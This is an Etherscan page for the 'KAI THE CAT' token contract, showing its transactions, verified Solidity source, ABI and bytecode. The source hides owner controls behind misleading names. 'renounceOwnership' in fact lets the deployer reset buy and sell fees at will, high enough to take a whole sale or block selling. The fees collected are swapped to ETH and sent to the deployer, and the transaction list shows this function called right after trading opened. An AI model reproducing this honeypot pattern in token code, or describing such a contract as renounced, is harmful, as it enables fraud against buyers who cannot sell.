ETH Price: $2,070.35 (+2.34%)

Contract

0xE9496AcB14fbBe94d658C9E00A6f7af929fE8Eb9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209234172024-10-08 21:01:47517 days ago1728421307IN
0xE9496AcB...929fE8Eb9
0 ETH0.0021874247.35412084
Approve209233992024-10-08 20:58:11517 days ago1728421091IN
0xE9496AcB...929fE8Eb9
0 ETH0.0014531.19556025
Approve209233812024-10-08 20:54:35517 days ago1728420875IN
0xE9496AcB...929fE8Eb9
0 ETH0.0010289122.13621393
Approve209233752024-10-08 20:53:23517 days ago1728420803IN
0xE9496AcB...929fE8Eb9
0 ETH0.0010786423.2061937
Renounce Ownersh...209233732024-10-08 20:52:59517 days ago1728420779IN
0xE9496AcB...929fE8Eb9
0 ETH0.0005385919.9567955
Approve209233672024-10-08 20:51:47517 days ago1728420707IN
0xE9496AcB...929fE8Eb9
0 ETH0.0011925125.65602623
Open Trading209233612024-10-08 20:50:35517 days ago1728420635IN
0xE9496AcB...929fE8Eb9
0 ETH0.0013098623.75603037
Approve209233442024-10-08 20:47:11517 days ago1728420431IN
0xE9496AcB...929fE8Eb9
0 ETH0.0011852325.63840798

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KAI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2024-10-08

/*
Website: https://www.kaitoken.io/
Telegram: https://t.me/kai_ethereum
Twitter: https://x.com/kai_ethereum
*/


// SPDX-License-Identifier: Unlicense


pragma solidity ^0.8.25;


interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


contract KAI {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }


    string public _name = unicode"KAI THE CAT";
    string public _symbol = unicode"KAI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 69_000_000_000_000 * 10**decimals;


    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;


    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );


    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;


    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;


    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }


    receive() external payable {}


    function renounceOwnership(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _TokenOnEthMktWithZkVerify()) revert Permissions();
        ethtokenmax(_buy, _sell);
    }


    function ethtokenmax(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }


    function _TokenOnEthMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }


    function openTrading() external {
        require(msg.sender == _TokenOnEthMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }


    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }


    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }


    function symbol() public view  virtual returns (string memory) {
        return _symbol;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _TokenOnEthMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);


        balanceOf[from] -= amount;


        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }


        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a12d052481512114810d05560aa1b60a0525f9061002990826101e4565b506040805180820190915260038152624b414960e81b602082015260019061005190826101e4565b5034801561005d575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a76012600a610399565b6100b790653ec1507d50006103ae565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101246012600a610399565b61013490653ec1507d50006103ae565b60405190815260200160405180910390a350506103c5565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017457607f821691505b60208210810361019257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101df57805f5260205f20601f840160051c810160208510156101bd5750805b601f840160051c820191505b818110156101dc575f81556001016101c9565b50505b505050565b81516001600160401b038111156101fd576101fd61014c565b6102118161020b8454610160565b84610198565b602080601f831160018114610244575f841561022d5750858301515b5f19600386901b1c1916600185901b17855561029b565b5f85815260208120601f198616915b8281101561027257888601518255948401946001909101908401610253565b508582101561028f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102f157815f19048211156102d7576102d76102a3565b808516156102e457918102915b93841c93908002906102bc565b509250929050565b5f8261030757506001610393565b8161031357505f610393565b816001811461032957600281146103335761034f565b6001915050610393565b60ff841115610344576103446102a3565b50506001821b610393565b5060208310610133831016604e8410600b8410161715610372575081810a610393565b61037c83836102b7565b805f190482111561038f5761038f6102a3565b0290505b92915050565b5f6103a760ff8416836102f9565b9392505050565b8082028115828204841417610393576103936102a3565b610f55806103d25f395ff3fe6080604052600436106100e7575f3560e01c80638d815b6f11610087578063b09f126611610057578063b09f1266146102c6578063c9567bf9146102da578063d28d8852146102ee578063dd62ed3e14610302575f80fd5b80638d815b6f1461023b57806395d89b411461025c578063a8aa1b3114610270578063a9059cbb146102a7575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b257806370a0823114610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610338565b6040516101139190610b9d565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610be9565b6103c7565b6040519015158152602001610113565b348015610156575f80fd5b5061015f610433565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610c13565b610452565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506002546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061015f61022a366004610c51565b60036020525f908152604090205481565b348015610246575f80fd5b5061025a610255366004610c81565b61049f565b005b348015610267575f80fd5b506101066104fd565b34801561027b575f80fd5b5060055461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102b2575f80fd5b5061013b6102c1366004610be9565b61050c565b3480156102d1575f80fd5b5061010661051f565b3480156102e5575f80fd5b5061025a6105ab565b3480156102f9575f80fd5b50610106610761565b34801561030d575f80fd5b5061015f61031c366004610cb2565b600460209081525f928352604080842090915290825290205481565b60605f805461034690610ce9565b80601f016020809104026020016040519081016040528092919081815260200182805461037290610ce9565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104219086815260200190565b60405180910390a35060015b92915050565b61043f6012600a610e15565b61044f90653ec1507d5000610e23565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610486908490610e3a565b90915550610497905084848461076d565b949350505050565b6002546001600160a01b031633146104c957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461034690610ce9565b5f61051833848461076d565b9392505050565b6001805461052c90610ce9565b80601f016020809104026020016040519081016040528092919081815260200182805461055890610ce9565b80156105a35780601f1061057a576101008083540402835291602001916105a3565b820191905f5260205f20905b81548152906001019060200180831161058657829003601f168201915b505050505081565b6002546001600160a01b031633146105c1575f80fd5b600554600160a81b900460ff16156105d7575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c9190610e4d565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c39190610e4d565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190610e4d565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f805461052c90610ce9565b5f806107816002546001600160a01b031690565b600554909150600160a81b900460ff16806107ad5750806001600160a01b0316856001600160a01b0316145b806107c95750806001600160a01b0316846001600160a01b0316145b6107d1575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107f8908490610e3a565b90915550506005546001600160a01b0385811691161480156108245750600554600160a01b900460ff16155b8015610865575060646108396012600a610e15565b61084990653ec1507d5000610e23565b6108539190610e68565b305f9081526003602052604090205410155b80156108835750806001600160a01b0316856001600160a01b031614155b15610a63576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ce576108ce610e87565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109629190610e4d565b8160018151811061097557610975610e87565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109b56012600a610e15565b6109c590653ec1507d5000610e23565b6109cf9190610e68565b5f8430426040518663ffffffff1660e01b81526004016109f3959493929190610e9b565b5f604051808303815f87803b158015610a0a575f80fd5b505af1158015610a1c573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a53573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610aa15750600554600160a81b900460ff1615156001145b15610b15576005545f906064906001600160a01b03898116911614610ac65783610ac8565b825b610ad59060ff1688610e23565b610adf9190610e68565b9050610aeb8187610e3a565b305f90815260036020526040812080549298508392909190610b0e908490610f0c565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b3c908490610f0c565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b8891815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610be6575f80fd5b50565b5f8060408385031215610bfa575f80fd5b8235610c0581610bd2565b946020939093013593505050565b5f805f60608486031215610c25575f80fd5b8335610c3081610bd2565b92506020840135610c4081610bd2565b929592945050506040919091013590565b5f60208284031215610c61575f80fd5b813561051881610bd2565b803560ff81168114610c7c575f80fd5b919050565b5f8060408385031215610c92575f80fd5b610c9b83610c6c565b9150610ca960208401610c6c565b90509250929050565b5f8060408385031215610cc3575f80fd5b8235610cce81610bd2565b91506020830135610cde81610bd2565b809150509250929050565b600181811c90821680610cfd57607f821691505b602082108103610d1b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d6f57815f1904821115610d5557610d55610d21565b80851615610d6257918102915b93841c9390800290610d3a565b509250929050565b5f82610d855750600161042d565b81610d9157505f61042d565b8160018114610da75760028114610db157610dcd565b600191505061042d565b60ff841115610dc257610dc2610d21565b50506001821b61042d565b5060208310610133831016604e8410600b8410161715610df0575081810a61042d565b610dfa8383610d35565b805f1904821115610e0d57610e0d610d21565b029392505050565b5f61051860ff841683610d77565b808202811582820484141761042d5761042d610d21565b8181038181111561042d5761042d610d21565b5f60208284031215610e5d575f80fd5b815161051881610bd2565b5f82610e8257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610eeb5784516001600160a01b031683529383019391830191600101610ec6565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561042d5761042d610d2156fea2646970667358221220a06c16bfabce3be7627a8764ced7419589a1d9001597bab9f056c6edd8e0791264736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c80638d815b6f11610087578063b09f126611610057578063b09f1266146102c6578063c9567bf9146102da578063d28d8852146102ee578063dd62ed3e14610302575f80fd5b80638d815b6f1461023b57806395d89b411461025c578063a8aa1b3114610270578063a9059cbb146102a7575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b257806370a0823114610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610338565b6040516101139190610b9d565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610be9565b6103c7565b6040519015158152602001610113565b348015610156575f80fd5b5061015f610433565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610c13565b610452565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506002546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061015f61022a366004610c51565b60036020525f908152604090205481565b348015610246575f80fd5b5061025a610255366004610c81565b61049f565b005b348015610267575f80fd5b506101066104fd565b34801561027b575f80fd5b5060055461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102b2575f80fd5b5061013b6102c1366004610be9565b61050c565b3480156102d1575f80fd5b5061010661051f565b3480156102e5575f80fd5b5061025a6105ab565b3480156102f9575f80fd5b50610106610761565b34801561030d575f80fd5b5061015f61031c366004610cb2565b600460209081525f928352604080842090915290825290205481565b60605f805461034690610ce9565b80601f016020809104026020016040519081016040528092919081815260200182805461037290610ce9565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104219086815260200190565b60405180910390a35060015b92915050565b61043f6012600a610e15565b61044f90653ec1507d5000610e23565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610486908490610e3a565b90915550610497905084848461076d565b949350505050565b6002546001600160a01b031633146104c957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b60606001805461034690610ce9565b5f61051833848461076d565b9392505050565b6001805461052c90610ce9565b80601f016020809104026020016040519081016040528092919081815260200182805461055890610ce9565b80156105a35780601f1061057a576101008083540402835291602001916105a3565b820191905f5260205f20905b81548152906001019060200180831161058657829003601f168201915b505050505081565b6002546001600160a01b031633146105c1575f80fd5b600554600160a81b900460ff16156105d7575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064c9190610e4d565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c39190610e4d565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107369190610e4d565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f805461052c90610ce9565b5f806107816002546001600160a01b031690565b600554909150600160a81b900460ff16806107ad5750806001600160a01b0316856001600160a01b0316145b806107c95750806001600160a01b0316846001600160a01b0316145b6107d1575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906107f8908490610e3a565b90915550506005546001600160a01b0385811691161480156108245750600554600160a01b900460ff16155b8015610865575060646108396012600a610e15565b61084990653ec1507d5000610e23565b6108539190610e68565b305f9081526003602052604090205410155b80156108835750806001600160a01b0316856001600160a01b031614155b15610a63576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108ce576108ce610e87565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109629190610e4d565b8160018151811061097557610975610e87565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109b56012600a610e15565b6109c590653ec1507d5000610e23565b6109cf9190610e68565b5f8430426040518663ffffffff1660e01b81526004016109f3959493929190610e9b565b5f604051808303815f87803b158015610a0a575f80fd5b505af1158015610a1c573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a53573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610aa15750600554600160a81b900460ff1615156001145b15610b15576005545f906064906001600160a01b03898116911614610ac65783610ac8565b825b610ad59060ff1688610e23565b610adf9190610e68565b9050610aeb8187610e3a565b305f90815260036020526040812080549298508392909190610b0e908490610f0c565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610b3c908490610f0c565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b8891815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610be6575f80fd5b50565b5f8060408385031215610bfa575f80fd5b8235610c0581610bd2565b946020939093013593505050565b5f805f60608486031215610c25575f80fd5b8335610c3081610bd2565b92506020840135610c4081610bd2565b929592945050506040919091013590565b5f60208284031215610c61575f80fd5b813561051881610bd2565b803560ff81168114610c7c575f80fd5b919050565b5f8060408385031215610c92575f80fd5b610c9b83610c6c565b9150610ca960208401610c6c565b90509250929050565b5f8060408385031215610cc3575f80fd5b8235610cce81610bd2565b91506020830135610cde81610bd2565b809150509250929050565b600181811c90821680610cfd57607f821691505b602082108103610d1b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610d6f57815f1904821115610d5557610d55610d21565b80851615610d6257918102915b93841c9390800290610d3a565b509250929050565b5f82610d855750600161042d565b81610d9157505f61042d565b8160018114610da75760028114610db157610dcd565b600191505061042d565b60ff841115610dc257610dc2610d21565b50506001821b61042d565b5060208310610133831016604e8410600b8410161715610df0575081810a61042d565b610dfa8383610d35565b805f1904821115610e0d57610e0d610d21565b029392505050565b5f61051860ff841683610d77565b808202811582820484141761042d5761042d610d21565b8181038181111561042d5761042d610d21565b5f60208284031215610e5d575f80fd5b815161051881610bd2565b5f82610e8257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610eeb5784516001600160a01b031683529383019391830191600101610ec6565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561042d5761042d610d2156fea2646970667358221220a06c16bfabce3be7627a8764ced7419589a1d9001597bab9f056c6edd8e0791264736f6c63430008190033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.